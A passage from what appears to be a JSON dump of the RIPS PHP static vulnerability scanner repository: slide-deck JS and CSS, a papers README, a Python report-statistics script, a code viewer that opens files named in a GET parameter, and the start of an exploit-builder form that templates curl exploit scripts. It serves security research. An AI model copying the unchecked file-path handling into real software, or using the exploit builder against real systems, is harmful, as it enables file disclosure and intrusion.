document.querySelector('section.slides').appendChild(el);\n\n var el = document.createElement('div');\n el.className = 'slide-area';\n el.id = 'next-slide-area';\n el.addEventListener('click', nextSlide, false);\n document.querySelector('section.slides').appendChild(el);\n\n /* Swiping */\n\n document.body.addEventListener('touchstart', handleTouchStart, false);\n}\n\n/* ChromeVox support */\n\nfunction isChromeVoxActive() {\n if (typeof(cvox) == 'undefined') {\n return false;\n } else {\n return true;\n }\n};\n\nfunction speakAndSyncToNode(node) {\n if (!isChromeVoxActive()) {\n return;\n }\n\n cvox.ChromeVox.navigationManager.switchToStrategy(\n cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);\n cvox.ChromeVox.navigationManager.syncToNode(node);\n cvox.ChromeVoxUserCommands.finishNavCommand('');\n var target = node;\n while (target.firstChild) {\n target = target.firstChild;\n }\n cvox.ChromeVox.navigationManager.syncToNode(target);\n};\n\nfunction speakNextItem() {\n if (!isChromeVoxActive()) {\n return;\n }\n\n cvox.ChromeVox.navigationManager.switchToStrategy(\n cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);\n cvox.ChromeVox.navigationManager.next(true);\n if (!cvox.DomUtil.isDescendantOfNode(\n cvox.ChromeVox.navigationManager.getCurrentNode(), slideEls[curSlide])){\n var target = slideEls[curSlide];\n while (target.firstChild) {\n target = target.firstChild;\n }\n cvox.ChromeVox.navigationManager.syncToNode(target);\n cvox.ChromeVox.navigationManager.next(true);\n }\n cvox.ChromeVoxUserCommands.finishNavCommand('');\n};\n\nfunction speakPrevItem() {\n if (!isChromeVoxActive()) {\n return;\n }\n\n cvox.ChromeVox.navigationManager.switchToStrategy(\n cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);\n cvox.ChromeVox.navigationManager.previous(true);\n if (!cvox.DomUtil.isDescendantOfNode(\n cvox.ChromeVox.navigationManager.getCurrentNode(), slideEls[curSlide])){\n var target = slideEls[curSlide];\n while (target.lastChild){\n target = target.lastChild;\n }\n cvox.ChromeVox.navigationManager.syncToNode(target);\n cvox.ChromeVox.navigationManager.previous(true);\n }\n cvox.ChromeVoxUserCommands.finishNavCommand('');\n};\n\n/* Hash functions */\n\nfunction getCurSlideFromHash() {\n var slideNo = parseInt(location.hash.substr(1));\n\n if (slideNo) {\n curSlide = slideNo - 1;\n } else {\n curSlide = 0;\n }\n};\n\nfunction updateHash() {\n location.replace('#' + (curSlide + 1));\n};\n\n/* Event listeners */\n\nfunction handleBodyKeyDown(event) {\n switch (event.keyCode) {\n case 39: // right arrow\n case 13: // Enter\n case 32: // space\n case 34: // PgDn\n nextSlide();\n event.preventDefault();\n break;\n\n case 37: // left arrow\n case 8: // Backspace\n case 33: // PgUp\n prevSlide();\n event.preventDefault();\n break;\n\n case 40: // down arrow\n if (isChromeVoxActive()) {\n speakNextItem();\n } else {\n nextSlide();\n }\n event.preventDefault();\n break;\n\n case 38: // up arrow\n if (isChromeVoxActive()) {\n speakPrevItem();\n } else {\n prevSlide();\n }\n event.preventDefault();\n break;\n }\n};\n\nfunction addEventListeners() {\n document.addEventListener('keydown', handleBodyKeyDown, false);\n};\n\n/* Initialization */\n\nfunction addPrettify() {\n var els = document.querySelectorAll('pre');\n for (var i = 0, el; el = els[i]; i++) {\n if (!el.classList.contains('noprettyprint')) {\n el.classList.add('prettyprint');\n }\n }\n\n var el = document.createElement('script');\n el.type = 'text/javascript';\n el.src = PERMANENT_URL_PREFIX + 'prettify.js';\n el.onload = function() {\n prettyPrint();\n }\n document.body.appendChild(el);\n};\n\nfunction addFontStyle() {\n var el = document.createElement('link');\n el.rel = 'stylesheet';\n el.type = 'text/css';\n el.href = 'http://fonts.googleapis.com/css?family=' +\n 'Open+Sans:regular,semibold,italic,italicsemibold|Droid+Sans+Mono';\n\n document.body.appendChild(el);\n};\n\nfunction addGeneralStyle() {\n var el = document.createElement('link');\n el.rel = 'stylesheet';\n el.type = 'text/css';\n el.href = PERMANENT_URL_PREFIX + 'styles.css';\n document.body.appendChild(el);\n\n var el = document.createElement('meta');\n el.name = 'viewport';\n el.content = 'width=1100,height=750';\n document.querySelector('head').appendChild(el);\n\n var el = document.createElement('meta');\n el.name = 'apple-mobile-web-app-capable';\n el.content = 'yes';\n document.querySelector('head').appendChild(el);\n};\n\nfunction makeBuildLists() {\n for (var i = curSlide, slide; slide = slideEls[i]; i++) {\n var items = slide.querySelectorAll('.build > *');\n for (var j = 0, item; item = items[j]; j++) {\n if (item.classList) {\n item.classList.add('to-build');\n }\n }\n }\n};\n\nfunction handleDomLoaded() {\n slideEls = document.querySelectorAll('section.slides > article');\n\n setupFrames();\n\n addFontStyle();\n addGeneralStyle();\n addPrettify();\n addEventListeners();\n\n updateSlides();\n\n setupInteraction();\n makeBuildLists();\n\n document.body.classList.add('loaded');\n};\n\nfunction initialize() {\n getCurSlideFromHash();\n\n if (window['_DEBUG']) {\n PERMANENT_URL_PREFIX = '../';\n }\n\n if (window['_DCL']) {\n handleDomLoaded();\n } else {\n document.addEventListener('DOMContentLoaded', handleDomLoaded, false);\n }\n}\n\n// If ?debug exists then load the script relative instead of absolute\nif (!window['_DEBUG'] && document.location.href.indexOf('?debug') !== -1) {\n document.addEventListener('DOMContentLoaded', function() {\n // Avoid missing the DomContentLoaded event\n window['_DCL'] = true\n }, false);\n\n window['_DEBUG'] = true;\n var script = document.createElement('script');\n script.type = 'text/javascript';\n script.src = '../slides.js';\n var s = document.getElementsByTagName('script')[0];\n s.parentNode.insertBefore(script, s);\n\n // Remove this script\n s.parentNode.removeChild(s);\n} else {\n initialize();\n}\n" }, { "path": "papers/LCA 2012_ PHP Static Code Analysis_files/styles.css", "content": "/*\n Google HTML5 slides template\n\n Authors: Luke Mahé (code)\n Marcin Wichary (code and design)\n \n Dominic Mazzoni (browser compatibility)\n Charles Chen (ChromeVox support)\n\n URL: http://code.google.com/p/html5slides/\n*/\n\n/* Framework */\n\nhtml {\n height: 100%;\n}\n\nbody {\n margin: 0;\n padding: 0;\n\n display: block !important;\n\n height: 100%;\n min-height: 740px;\n \n overflow-x: hidden;\n overflow-y: auto;\n\n background: rgb(215, 215, 215);\n background: -o-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));\n background: -moz-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));\n background: -webkit-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));\n background: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 500, from(rgb(240, 240, 240)), to(rgb(190, 190, 190)));\n\n -webkit-font-smoothing: antialiased;\n}\n\n.slides {\n width: 100%;\n height: 100%;\n left: 0;\n top: 0;\n \n position: absolute;\n\n -webkit-transform: translate3d(0, 0, 0);\n}\n\n.slides > article {\n display: block;\n\n position: absolute;\n overflow: hidden;\n\n width: 900px;\n height: 700px;\n\n left: 50%;\n top: 50%;\n\n margin-left: -450px;\n margin-top: -350px;\n \n padding: 40px 60px;\n\n box-sizing: border-box;\n -o-box-sizing: border-box;\n -moz-box-sizing: border-box;\n -webkit-box-sizing: border-box;\n\n border-radius: 10px;\n -o-border-radius: 10px;\n -moz-border-radius: 10px;\n -webkit-border-radius: 10px;\n\n background-color: white;\n\n box-shadow: 0 2px 6px rgba(0, 0, 0, .1);\n border: 1px solid rgba(0, 0, 0, .3);\n\n transition: transform .3s ease-out;\n -o-transition: -o-transform .3s ease-out;\n -moz-transition: -moz-transform .3s ease-out;\n -webkit-transition: -webkit-transform .3s ease-out;\n}\n.slides.layout-widescreen > article {\n margin-left: -550px;\n width: 1100px;\n}\n.slides.layout-faux-widescreen > article {\n margin-left: -550px;\n width: 1100px;\n \n padding: 40px 160px;\n}\n\n.slides.template-default > article:not(.nobackground):not(.biglogo) {\n background: url(images/google-logo-small.png) 710px 625px no-repeat; \n \n background-color: white; \n} \n\n.slides.template-io2011 > article:not(.nobackground):not(.biglogo) {\n background: url(images/colorbar.png) 0 600px repeat-x,\n url(images/googleio-logo.png) 640px 625px no-repeat;\n\n background-size: 100%, 225px; \n\n background-color: white; \n}\n.slides.layout-widescreen > article:not(.nobackground):not(.biglogo),\n.slides.layout-faux-widescreen > article:not(.nobackground):not(.biglogo) {\n background-position-x: 0, 840px;\n}\n\n/* Clickable/tappable areas */\n\n.slide-area {\n z-index: 1000;\n\n position: absolute;\n left: 0;\n top: 0;\n width: 150px;\n height: 700px; \n\n left: 50%;\n top: 50%;\n\n cursor: pointer; \n margin-top: -350px; \n \n tap-highlight-color: transparent;\n -o-tap-highlight-color: transparent;\n -moz-tap-highlight-color: transparent;\n -webkit-tap-highlight-color: transparent;\n}\n#prev-slide-area {\n margin-left: -550px;\n}\n#next-slide-area {\n margin-left: 400px;\n}\n.slides.layout-widescreen #prev-slide-area,\n.slides.layout-faux-widescreen #prev-slide-area {\n margin-left: -650px;\n}\n.slides.layout-widescreen #next-slide-area,\n.slides.layout-faux-widescreen #next-slide-area {\n margin-left: 500px;\n}\n\n/* Slide styles */\n\n.slides.template-default article.biglogo {\n background: white url(images/google-logo.png) 50% 50% no-repeat;\n}\n\n.slides.template-io2011 article.biglogo {\n background: white url(images/googleio-logo.png) 50% 50% no-repeat;\n\n background-size: 600px;\n}\n\n/* Slides */\n\n.slides > article {\n display: none;\n}\n.slides > article.far-past {\n display: block;\n transform: translate(-2040px);\n -o-transform: translate(-2040px);\n -moz-transform: translate(-2040px);\n -webkit-transform: translate3d(-2040px, 0, 0);\n}\n.slides > article.past {\n display: block;\n transform: translate(-1020px);\n -o-transform: translate(-1020px);\n -moz-transform: translate(-1020px);\n -webkit-transform: translate3d(-1020px, 0, 0);\n}\n.slides > article.current {\n display: block;\n transform: translate(0);\n -o-transform: translate(0);\n -moz-transform: translate(0);\n -webkit-transform: translate3d(0, 0, 0);\n}\n.slides > article.next {\n display: block;\n transform: translate(1020px);\n -o-transform: translate(1020px);\n -moz-transform: translate(1020px);\n -webkit-transform: translate3d(1020px, 0, 0);\n}\n.slides > article.far-next {\n display: block;\n transform: translate(2040px);\n -o-transform: translate(2040px);\n -moz-transform: translate(2040px);\n -webkit-transform: translate3d(2040px, 0, 0);\n}\n\n.slides.layout-widescreen > article.far-past,\n.slides.layout-faux-widescreen > article.far-past {\n display: block;\n transform: translate(-2260px);\n -o-transform: translate(-2260px);\n -moz-transform: translate(-2260px);\n -webkit-transform: translate3d(-2260px, 0, 0);\n}\n.slides.layout-widescreen > article.past,\n.slides.layout-faux-widescreen > article.past {\n display: block;\n transform: translate(-1130px);\n -o-transform: translate(-1130px);\n -moz-transform: translate(-1130px);\n -webkit-transform: translate3d(-1130px, 0, 0);\n}\n.slides.layout-widescreen > article.current,\n.slides.layout-faux-widescreen > article.current {\n display: block;\n transform: translate(0);\n -o-transform: translate(0);\n -moz-transform: translate(0);\n -webkit-transform: translate3d(0, 0, 0);\n}\n.slides.layout-widescreen > article.next,\n.slides.layout-faux-widescreen > article.next {\n display: block;\n transform: translate(1130px);\n -o-transform: translate(1130px);\n -moz-transform: translate(1130px);\n -webkit-transform: translate3d(1130px, 0, 0);\n}\n.slides.layout-widescreen > article.far-next,\n.slides.layout-faux-widescreen > article.far-next {\n display: block;\n transform: translate(2260px);\n -o-transform: translate(2260px);\n -moz-transform: translate(2260px);\n -webkit-transform: translate3d(2260px, 0, 0);\n}\n\n/* Styles for slides */\n\n.slides > article {\n font-family: 'Open Sans', Arial, sans-serif;\n\n color: rgb(102, 102, 102);\n text-shadow: 0 1px 1px rgba(0, 0, 0, .1);\n\n font-size: 30px;\n line-height: 36px;\n\n letter-spacing: -1px;\n}\n\nb {\n font-weight: 600;\n}\n\n.blue {\n color: rgb(0, 102, 204);\n}\n.yellow {\n color: rgb(255, 211, 25);\n}\n.green {\n color: rgb(0, 138, 53);\n}\n.red {\n color: rgb(255, 0, 0);\n}\n.black {\n color: black;\n}\n.white {\n color: white;\n}\n\na {\n color: rgb(0, 102, 204);\n}\na:visited {\n color: rgba(0, 102, 204, .75);\n}\na:hover {\n color: black;\n}\n\np {\n margin: 0;\n padding: 0;\n\n margin-top: 20px;\n}\np:first-child {\n margin-top: 0;\n}\n\nh1 {\n font-size: 60px;\n line-height: 60px;\n\n padding: 0;\n margin: 0;\n margin-top: 200px;\n padding-right: 40px;\n\n font-weight: 600;\n\n letter-spacing: -3px;\n\n color: rgb(51, 51, 51);\n}\n\nh2 {\n font-size: 45px;\n line-height: 45px;\n\n position: absolute;\n bottom: 150px;\n\n padding: 0;\n margin: 0;\n padding-right: 40px;\n\n font-weight: 600;\n\n letter-spacing: -2px;\n\n color: rgb(51, 51, 51);\n}\n\nh3 {\n font-size: 30px;\n line-height: 36px;\n\n padding: 0;\n margin: 0;\n padding-right: 40px;\n\n font-weight: 600;\n\n letter-spacing: -1px;\n\n color: rgb(51, 51, 51);\n}\n\narticle.fill h3 {\n background: rgba(255, 255, 255, .75);\n padding-top: .2em;\n padding-bottom: .3em;\n margin-top: -.2em;\n margin-left: -60px;\n padding-left: 60px;\n margin-right: -60px;\n padding-right: 60px;\n}\n\nul {\n list-style: none;\n margin: 0;\n padding: 0;\n\n margin-top: 40px;\n\n margin-left: .75em;\n}\nul:first-child {\n margin-top: 0;\n}\nul ul {\n margin-top: .5em;\n}\nli {\n padding: 0;\n margin: 0;\n\n margin-bottom: .5em;\n}\nli::before {\n content: '·';\n\n width: .75em;\n margin-left: -.75em;\n\n position: absolute;\n}\n\npre {\n font-family: 'Droid Sans Mono', 'Courier New', monospace;\n\n font-size: 20px;\n line-height: 28px;\n padding: 5px 10px;\n \n letter-spacing: -1px;\n\n margin-top: 40px;\n margin-bottom: 40px;\n\n color: black;\n background: rgb(240, 240, 240);\n border: 1px solid rgb(224, 224, 224);\n box-shadow: inset 0 2px 6px rgba(0, 0, 0, .1);\n \n overflow: hidden;\n}\n\ncode {\n font-size: 95%;\n font-family: 'Droid Sans Mono', 'Courier New', monospace;\n\n color: black;\n}\n\niframe {\n width: 100%;\n\n height: 620px;\n\n background: white;\n border: 1px solid rgb(192, 192, 192);\n margin: -1px;\n /*box-shadow: inset 0 2px 6px rgba(0, 0, 0, .1);*/\n}\n\nh3 + iframe {\n margin-top: 40px;\n height: 540px;\n}\n\narticle.fill iframe {\n position: absolute;\n left: 0;\n top: 0;\n width: 100%;\n height: 100%;\n\n border: 0;\n margin: 0;\n\n border-radius: 10px;\n -o-border-radius: 10px;\n -moz-border-radius: 10px;\n -webkit-border-radius: 10px;\n\n z-index: -1;\n}\n\narticle.fill img {\n position: absolute;\n left: 0;\n top: 0;\n min-width: 100%;\n min-height: 100%;\n\n border-radius: 10px;\n -o-border-radius: 10px;\n -moz-border-radius: 10px;\n -webkit-border-radius: 10px;\n\n z-index: -1;\n}\nimg.centered {\n margin: 0 auto;\n display: block;\n}\n\ntable {\n width: 100%;\n border-collapse: collapse;\n margin-top: 40px;\n}\nth {\n font-weight: 600;\n text-align: left;\n}\ntd,\nth {\n border: 1px solid rgb(224, 224, 224);\n padding: 5px 10px;\n vertical-align: top;\n}\n\n.source {\n position: absolute;\n left: 60px;\n top: 644px;\n padding-right: 175px;\n \n font-size: 15px;\n letter-spacing: 0; \n line-height: 18px;\n}\n\nq {\n display: block;\n font-size: 60px;\n line-height: 72px;\n \n margin-left: 20px;\n \n margin-top: 100px;\n margin-right: 150px; \n}\nq::before {\n content: '“';\n \n position: absolute;\n display: inline-block;\n margin-left: -2.1em;\n width: 2em;\n text-align: right;\n \n font-size: 90px;\n color: rgb(192, 192, 192);\n}\nq::after {\n content: '”';\n\n position: absolute; \n margin-left: .1em;\n\n font-size: 90px;\n color: rgb(192, 192, 192); \n}\ndiv.author {\n text-align: right; \n font-size: 40px;\n \n margin-top: 20px;\n margin-right: 150px; \n}\ndiv.author::before {\n content: '—';\n}\n\n/* Size variants */\n\narticle.smaller p,\narticle.smaller ul {\n font-size: 20px;\n line-height: 24px;\n letter-spacing: 0;\n}\narticle.smaller table {\n font-size: 20px;\n line-height: 24px;\n letter-spacing: 0;\n}\narticle.smaller pre {\n font-size: 15px;\n line-height: 20px;\n letter-spacing: 0;\n}\narticle.smaller q {\n font-size: 40px;\n line-height: 48px;\n}\narticle.smaller q::before,\narticle.smaller q::after {\n font-size: 60px;\n}\n\n/* Builds */\n\n.build > * {\n transition: opacity 0.5s ease-in-out 0.2s;\n -o-transition: opacity 0.5s ease-in-out 0.2s;\n -moz-transition: opacity 0.5s ease-in-out 0.2s;\n -webkit-transition: opacity 0.5s ease-in-out 0.2s;\n}\n\n.to-build {\n opacity: 0;\n}\n\n/* Pretty print */\n\n.prettyprint .str, /* string content */\n.prettyprint .atv { /* a markup attribute value */\n color: rgb(0, 138, 53); \n} \n.prettyprint .kwd, /* a keyword */\n.prettyprint .tag { /* a markup tag name */\n color: rgb(0, 102, 204);\n}\n.prettyprint .com { /* a comment */\n color: rgb(127, 127, 127); \n font-style: italic; \n} \n.prettyprint .lit { /* a literal value */\n color: rgb(127, 0, 0);\n} \n.prettyprint .pun, /* punctuation, lisp open bracket, lisp close bracket */\n.prettyprint .opn, \n.prettyprint .clo { \n color: rgb(127, 127, 127); \n}\n.prettyprint .typ, /* a type name */\n.prettyprint .atn, /* a markup attribute name */ \n.prettyprint .dec, \n.prettyprint .var { /* a declaration; a variable name */\n color: rgb(127, 0, 127);\n} \n" }, { "path": "papers/README.md", "content": "# Papers by Johannes Dahse\n\n2016\n* [Static detection of complex vulnerabilities in modern PHP applications](https://d-nb.info/1099703417/34) (dissertation)\n* [No Honor Among Thieves: A Large-Scale Analysis of Malicious Web Shells](http://www.cyber-investigator.org/wp-content/uploads/2016/04/webshells_www2016.pdf)\n\n2015\n* [Experience report: an empirical study of PHP security mechanism usage](http://syssec.rub.de/media/emma/veroeffentlichungen/2015/05/27/sanitization_issta15.pdf)\n* [Security Analysis of PHP Bytecode Protection Mechanisms](https://pdfs.semanticscholar.org/0c37/61f05ac238d58194a41323018f7c21907b05.pdf)\n\n2014\n* [Code Reuse Attacks in PHP: Automated POP Chain Generation](https://www.ei.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf)\n* [Simulation of Built-in PHP Features for Precise Static Code Analysis](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2017/09/04_5_0.pdf) [Slides](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2017/09/04_5_slides.pdf)\n* [Static Detection of Second-Order Vulnerabilities in Web Applications](https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-dahse.pdf) [Slides](https://www.usenix.org/sites/default/files/conference/protected-files/sec14_slides_dahse.pdf)\n\n2010\n* [RIPS - A static source code analyser for vulnerabilities in PHP scripts](https://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download) (seminar work)\n* [RIPS - A static source code analyser for vulnerabilities in PHP scripts](http://php-security.org/downloads/rips.pdf) [Slides](https://websec.files.wordpress.com/2010/11/rips-slides.pdf)\n\n# Other Sources\n\n2012\n* [linux.com.au 2012: Finding Vulnerabilities in PHP code](http://peter.serwylo.com/?p=115) [YouTube](https://www.youtube.com/watch?v=zrXFGjJyP8M)\n\n2011\n* [toolsmith: RIPS - A static source code analyser for vulnerabilities in PHP scripts](http://www.issa.org/resource/resmgr/PDF/McRee-toolsmith.pdf)\n" }, { "path": "rips_stats.py", "content": "#! /usr/bin/env python\n# -*- coding: UTF-8 -*-\n# Author : tintinweb@oststrom.com <github.com/tintinweb>\n#\n# minimal dependencies, we do not require a fully blown html parser, beautifulsoup\n# and others\nimport sys, re, os\n\nSTATS_BEGIN = '<div id=\"stats\" class=\"stats\">'\nSTATS_END = '<div class=\"filebox\">'\n\ndef getargs():\n '''\n minimalistic argparse\n '''\n args = []\n options = []\n if len(sys.argv) <= 1:\n print \"\"\"Usage: %s [<report.html>, ...]\"\"\"%sys.argv[0]\n exit(1)\n for a in sys.argv[1:]:\n if a.startswith(\"--\"):\n options.append(a)\n else:\n args.append(a)\n return args, options\n\ndef extract_td_single(column_name,data):\n '''\n utility function to extract data column text\n '''\n d = re.findall(r'%s</td><td[^>]*>([^<]+)'%column_name,data,re.MULTILINE|re.DOTALL)\n if d:\n return d[0]\n return ''\n\ndef main(args, options=[]):\n errcode = 0\n stats={}\n\n for file in args:\n print \"[*] processing '%s'\"%file\n if not os.path.isfile(file):\n print \"[!!] file not found/not a file - '%s'\"%file\n continue\n with open(file,'r') as f:\n data = None\n # performance - reduce regex searchspace; extract stats div\n for line in f.readlines():\n if data:\n data += line\n if STATS_BEGIN in line:\n data = line[line.index(STATS_BEGIN):]\n continue\n if STATS_END in line:\n break\n if data:\n print \"[**] extracting data\"\n x = re.findall(r'Sum:</td><td>(\\d+)</td>', data)\n stats['hits'] = int(x[0]) if x else 0 # if Sum: is missing, there were not vulns.\n stats['cats'] = re.findall(r'catshow\\(\\'([^\\']+)', data)\n stats['num_cats']=len(stats['cats'])\n x = re.findall(r'<span id=\"scantime\">(\\d+\\.\\d+) seconds</span>',data)\n stats['scantime'] = x[0] if x else None\n\n for s in (\"Scanned files:\", \"Include success:\", \"Considered sinks:\",\n \"User-defined functions:\",\"Unique sources:\",\"Sensitive sinks:\"):\n stats[s] = extract_td_single(s, data).strip()\n\n\n stats['dummy']=''\n print \"[***] Results\"\n print \"\"\"[ ] Scanned Files: %(Scanned files:)20s\n[ ] Include Success: %(Include success:)20s\n[ ] Time Elapsed: %(scantime)19ss\n\n[ ] Considered sinks: %(Considered sinks:)20s\n[ ] User-defined functions: %(User-defined functions:)20s\n[ ] Unique sources: %(Unique sources:)20s\n[ ] Sensitive sinks: %(Sensitive sinks:)20s\n\n[ ] Hits: %(hits)20s\n[ ] Categories: %(num_cats)20s\"\"\"%stats\n for c in stats.get(\"cats\",[]):\n print \" %50s\"%(\"%s [+]\"%c)\n errcode+=stats.get('hits',0)\n\n\n return errcode\n\nif __name__=='__main__':\n args, options = getargs()\n sys.exit(main(args,options))\n\n\n" }, { "path": "windows/code.php", "content": "<table width='100%'>\n<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\ninclude('../config/general.php');\n\n\t// prepare output to style with CSS\n\tfunction highlightline($line, $line_nr, $marklines, $in_comment)\n\t{\n\t\t$tokens = @token_get_all('<? '.$line.' ?>');\n\t\t$output = (in_array($line_nr, $marklines)) ? '<tr><td nowrap class=\"markline\">' : '<tr><td nowrap class=\"codeline\">';\n\n\t\tfor($i=0; $i<count($tokens); $i++)\n\t\t{\n\t\t\tif(is_array($tokens[$i]) && ($tokens[$i][0] === T_COMMENT || $tokens[$i][0] === T_DOC_COMMENT)\n\t\t\t&& ($tokens[$i][1][0] === '/' && $tokens[$i][1][1] === '*' && substr(trim($tokens[$i][1]),-2,2) !== '*/'))\n\t\t\t{\n\t\t\t\t$in_comment = true;\n\t\t\t\tif(is_array($tokens[$i]))\n\t\t\t\t\t$tokens[$i][1] = str_replace('?'.'>', '', $tokens[$i][1]);\n\t\t\t}\n\t\t\tif($tokens[$i] === '/' && $tokens[$i-1] === '*')\n\t\t\t{\n\t\t\t\t$in_comment = false;\n\t\t\t}\n\n\t\t\tif($i == count($tokens)-1 && $tokens[$i-1][0] !== T_CLOSE_TAG)\n\t\t\t\t$tokens[$i][1] = str_replace('?'.'>', '', $tokens[$i][1]);\n\n\t\t\tif($in_comment)\n\t\t\t{\n\t\t\t\tif($tokens[$i][1] !== '<?' && $tokens[$i][1] !== '?'.'>')\n\t\t\t\t{\n\t\t\t\t\t$trimmed = is_array($tokens[$i]) ? trim($tokens[$i][1]) : trim($tokens[$i]);\n\t\t\t\t\t$output .= '<span class=\"phps-t-comment\">';\n\t\t\t\t\t$output .= empty($trimmed) ? ' ' : htmlentities($trimmed, ENT_QUOTES, 'utf-8');\n\t\t\t\t\t$output .= '</span>';\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if($tokens[$i] === '/' && $tokens[$i-1] === '*')\n\t\t\t\t$output .= '<span class=\"phps-t-comment\">*/</span>';\n\t\t\telse if (is_string($tokens[$i]))\n\t\t\t{\n\t\t\t\t$output .= '<span class=\"phps-code\">';\n\t\t\t\t$output .= htmlentities(trim($tokens[$i]), ENT_QUOTES, 'utf-8');\n\t\t\t\t$output .= '</span>';\n\t\t\t}\n\t\t\telse if (is_array($tokens[$i])\n\t\t\t&& $tokens[$i][0] !== T_OPEN_TAG\n\t\t\t&& $tokens[$i][0] !== T_CLOSE_TAG)\n\t\t\t{\n\t\t\t\tif ($tokens[$i][0] !== T_WHITESPACE)\n\t\t\t\t{\n\t\t\t\t\t$text = '<span ';\n\t\t\t\t\tif($tokens[$i][0] === T_VARIABLE)\n\t\t\t\t\t{\n\t\t\t\t\t\t$cssname = str_replace('$', '', $tokens[$i][1]);\n\t\t\t\t\t\t$text.= 'style=\"cursor:pointer;\" name=\"phps-var-'.$cssname.'\" onClick=\"markVariable(\\''.$cssname.'\\')\" ';\n\t\t\t\t\t\t$text.= 'onmouseover=\"markVariable(\\''.$cssname.'\\')\" onmouseout=\"markVariable(\\''.$cssname.'\\')\" ';\n\t\t\t\t\t}\n\t\t\t\t\telse if($tokens[$i][0] === T_STRING && $tokens[$i+1] === '(' && $tokens[$i-2][0] !== T_FUNCTION)\n\t\t\t\t\t{\n\t\t\t\t\t\t$text.= 'onmouseover=\"mouseFunction(\\''.strtolower($tokens[$i][1]).'\\', this)\" onmouseout=\"this.style.textDecoration=\\'none\\'\" ';\n\t\t\t\t\t\t$text.= 'onclick=\"openFunction(\\''.strtolower($tokens[$i][1]).\"','$line_nr');\\\" \";\n\t\t\t\t\t}\n\t\t\t\t\t$text.= 'class=\"phps-'.str_replace('_', '-', strtolower(token_name($tokens[$i][0]))).'\" ';\n\t\t\t\t\t$text.= '>'.htmlentities($tokens[$i][1], ENT_QUOTES, 'utf-8').'</span>';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$text = str_replace(' ', ' ', $tokens[$i][1]);\n\t\t\t\t\t$text = str_replace(\"\\t\", str_repeat(' ', 8), $text);\n\t\t\t\t}\n\n\t\t\t\t$output .= $text;\n\t\t\t}\n\t\t}\n\n\t\tif(strstr($line, '*/'))\n\t\t\t$in_comment = false;\n\n\t\techo $output.'</td></tr>';\n\t\treturn $in_comment;\n\t}\n\n\t// print source code and mark lines\n\n\t$file = $_GET['file'];\n\t$marklines = explode(',', $_GET['lines']);\n\t$ext = '.'.pathinfo($file, PATHINFO_EXTENSION);\n\n\n\tif(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))\n\t{\n\t\t$lines = file($file);\n\n\t\t// place line numbers in extra table for more elegant copy/paste without line numbers\n\t\techo '<tr><td><table>';\n\t\tfor($i=1, $max=count($lines); $i<=$max;$i++)\n\t\t\techo \"<tr><td class=\\\"linenrcolumn\\\"><span class=\\\"linenr\\\">$i</span><A id='\".($i+2).'\\'></A></td></tr>';\n\t\techo '</table></td><td id=\"codeonly\"><table id=\"codetable\" width=\"100%\">';\n\n\t\t$in_comment = false;\n\t\tfor($i=0; $i<$max; $i++)\n\t\t{\n\t\t\t$in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);\n\t\t}\n\t} else\n\t{\n\t\techo '<tr><td>Invalid file specified.</td></tr>';\n\t}\n?>\n</table>\n</td></tr></table>\n" }, { "path": "windows/exploit.php", "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nif(!empty($_GET['file']))\n{\n\t$file = $_GET['file'];\n?>\n\n<div style=\"padding: 20px; width: 400px\">\n\n<div style='width: 300px'>\n\t#!/usr/bin/php -f<br>\n\t<?php<br>\n\t#<br>\n\t# <?php echo htmlentities(basename($file), ENT_QUOTES, 'utf-8'); ?> curl exploit<br>\n\t#<br><br>\n</div>\n\n<div id=\"exploitbuild\">\n<div class=\"exploitbox\">\n\t<div class=\"exploittitlebox\">\n\t\t<div class=\"exploittitle\">general settings:</div>\n\t\t<div style=\"clear: left;\"></div>\n\t</div>\n\n\t<div class=\"exploitcontentbox\">\n\t<table class=\"textcolor\">\n\t<tr>\n\t\t<td>URL:</td>\n\t\t<td><input type=\"text\" size=\"40\" id=\"target\" name=\"target\" value=\"http://$target/<?php echo htmlentities(basename($file), ENT_QUOTES, 'utf-8'); ?>\" /></td>\n\t</tr>\n\t<tr>\n\t\t<td>COOKIEJAR:</td>\n\t\t<td><input type=\"text\" id=\"cookiejar\" name=\"cookiejar\" value=\"/tmp/cookie_$target\" /></td>\n\t</tr>\n\t<tr>\n\t\t<td>Max Exec Time:</td>\n\t\t<td><input type=\"text\" id=\"exectime\" size=2 name=\"exectime\" value=\"3\" /> (s)</td>\n\t</tr>\n\t<tr>\n\t\t<td>SSL: <input type=\"checkbox\" 